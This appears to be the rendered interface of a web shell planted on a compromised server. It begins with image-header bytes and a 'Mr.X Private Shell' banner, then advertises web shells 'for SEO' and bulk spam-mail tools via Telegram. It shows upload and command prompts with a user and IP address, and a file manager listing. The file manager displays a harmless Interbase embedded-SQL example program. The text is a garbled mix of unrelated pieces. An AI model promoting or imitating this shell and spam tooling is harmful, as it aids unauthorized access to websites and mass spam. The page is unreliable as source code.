����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
/*
 *	Program type:   Embedded Static SQL
 *
 *	Description:
 *		This program demonstrates 'set database', 'connect',
 *		and 'set transaction' statements.
 *		Each time a database is connected to, a sample table
 *		is accessed as a test.
 * The contents of this file are subject to the Interbase Public
 * License Version 1.0 (the "License"); you may not use this file
 * except in compliance with the License. You may obtain a copy
 * of the License at http://www.Inprise.com/IPL.html
 *
 * Software distributed under the License is distributed on an
 * "AS IS" basis, WITHOUT WARRANTY OF ANY KIND, either express
 * or implied. See the License for the specific language governing
 * rights and limitations under the License.
 *
 * The Original Code was created by Inprise Corporation
 * and its predecessors. Portions created by Inprise Corporation are
 * Copyright (C) Inprise Corporation.
 *
 * All Rights Reserved.
 * Contributor(s): ______________________________________.
 */

#include "example.h"
#include <stdlib.h>
#include <stdio.h>

int count_types (void);
int count_records (void);
long pr_error (void);

char *dbname = "employee.fdb";

EXEC SQL INCLUDE SQLCA;



int main  (void)
{
	/*
	 *	Declare 2 database handles for future use.
	 */

	EXEC SQL
		SET DATABASE db1 = "employee.fdb";

	EXEC SQL
		SET DATABASE db2 = "employe2.fdb";


	/*
	 *	Open a single database.
	 */

	printf("\n1. Opening database employee.fdb.\n");

	EXEC SQL
		CONNECT db1;

	if( pr_error())
	    return 1;;

	EXEC SQL
		SET TRANSACTION USING db1;

	if (count_types())
		return 1;

	EXEC SQL
		COMMIT RELEASE;

	EXEC SQL
		DISCONNECT db1;


	/*
	 *	Use a database name supplied at run-time.
	 *	Connect to this database using an existing database handle.
	 */

	printf("\n2. Opening database with name: %s supplied at run-time.\n",
					dbname);
	EXEC SQL
		CONNECT TO :dbname AS db1;

	if( pr_error())
	    return 1;;

	EXEC SQL
		SET TRANSACTION USING db1;

	if( count_types())
		return 1;

	EXEC SQL
		COMMIT RELEASE;

	EXEC SQL
		DISCONNECT DEFAULT;


	/*
	 *	Open the second database within the same program,
	 *	while the first database remains disconnected.
	 */
	printf("\n3. Opening a second database after closing the first one.\n");

	EXEC SQL
		CONNECT db2;

	if( pr_error())
	    return 1;;

	EXEC SQL
		SET TRANSACTION USING db2;

	if (count_records())
		return 1;

	EXEC SQL
		COMMIT RELEASE;

	EXEC SQL
		DISCONNECT db2;


	/*
	 *	Open two databases simultaneously.
	 */
	printf("\n4. Opening two databases simultaneously.\n");

	EXEC SQL
		CONNECT TO db1, db2;

	if( pr_error())
	    return 1;;

	EXEC SQL
		SET TRANSACTION USING db1, db2;

	if (count_types())
		return 1;;
	if (count_records())
		return 1;

	EXEC SQL
		COMMIT RELEASE;

	EXEC SQL
		DISCONNECT db1, db2;


	/*
	 *	Open all databases (in this case just two) at the same time.
	 */
	printf("\n5. Opening all databases.\n");

	EXEC SQL
		CONNECT TO ALL;

	if( pr_error())
	    return 1;;

	EXEC SQL
		SET TRANSACTION;

	if (count_types())
		return 1;
	if (count_records())
		return 1;

	EXEC SQL
		COMMIT RELEASE;

	EXEC SQL
		DISCONNECT ALL;
	return (0);
}


/*
 *	Access a table in database 1.
 */
int count_types (void)
{
	int cnt;

	EXEC SQL
		SELECT COUNT(DISTINCT currency) INTO :cnt FROM country;

	if (SQLCODE == 0)
		printf("\tNumber of currency types    :  %d\n", cnt);
	else 
		if( pr_error())
		    return 1;;
	return (0);
}


/*
 *	Access a table in database 2.
 */
int count_records (void)
{
	int cnt;

	/* Use the database handle along with the table name. */
	EXEC SQL
		SELECT COUNT(DISTINCT to_currency) INTO :cnt FROM db2.cross_rate;

	if (SQLCODE == 0)
		printf("\tNumber of conversion records:  %d\n", cnt);
	else 
		if( pr_error())
			return 1;;
	return (0);
}


/*
 *	Print an error message.
 */
long pr_error (void)
{
	if (SQLCODE)
	{
		isc_print_sqlerror(SQLCODE, isc_status);
		printf("\n");
	}
	return (SQLCODE);
}


Filemanager

Name Type Size Permission Actions
stat1.e File 2.11 KB 0644
stat10.e File 3.82 KB 0644
stat11.e File 3.69 KB 0644
stat12.e File 3.09 KB 0644
stat12t.e File 2.08 KB 0644
stat2.e File 1.99 KB 0644
stat3.e File 2.44 KB 0644
stat4.e File 3.42 KB 0644
stat5.e File 2.75 KB 0644
stat6.e File 2.64 KB 0644
stat7.e File 2.48 KB 0644
stat8.e File 3.17 KB 0644
stat9.e File 3.45 KB 0644